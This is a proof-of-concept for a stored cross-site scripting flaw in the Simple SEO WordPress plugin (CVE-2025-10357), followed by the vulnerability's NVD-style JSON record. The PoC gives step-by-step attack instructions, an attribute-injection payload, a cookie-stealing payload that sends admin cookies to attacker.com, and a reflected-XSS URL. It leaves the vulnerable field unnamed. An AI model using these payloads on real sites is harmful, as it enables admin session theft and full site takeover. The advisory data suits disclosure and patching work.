CVE-2025-10357

<!-- CVE-2025-10357 - Simple SEO WordPress Plugin XSS PoC Vulnerable versions: < 2.0.32 Required role: Contributor or above --> <!-- Stored XSS via SEO parameters in post/page content --> <!-- As a Contributor, inject malicious payload into Simple SEO fields --> <script> // Step 1: Login as Contributor and create a new post // Step 2: In the Simple SEO meta box, inject XSS payload into vulnerable parameter // Example payload for vulnerable SEO title/description field: var payload = '" onmouseover="alert(document.cookie)" data-x="'; // Step 3: The payload gets stored and rendered unsanitized in the page // Step 4: When an admin views the post, the XSS executes in their browser context // Cookie stealing example (more dangerous): var exfilPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'; // Step 5: Attacker receives admin session cookie and gains full site access </script> <!-- Alternative URL-based reflection example: http://target-site.com/?simple_seo_param=<script>alert('XSS')</script> Mitigation: Update Simple SEO plugin to version 2.0.32 or later. -->

{"cve": {"id": "CVE-2025-10357", "sourceIdentifier": "[email protected]", "published": "2025-10-14T06:15:32.813", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple SEO WordPress plugin before 2.0.32 does not sanitise and escape some parameters when outputing them in the page, which could allow users with a role as low as contributor to perform Cross-Site Scripting attacks."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "references": [{"url": "https://wpscan.com/vulnerability/24fcf8ef-603f-4e1f-905d-fbaf989a617f/", "source": "[email protected]"}]}}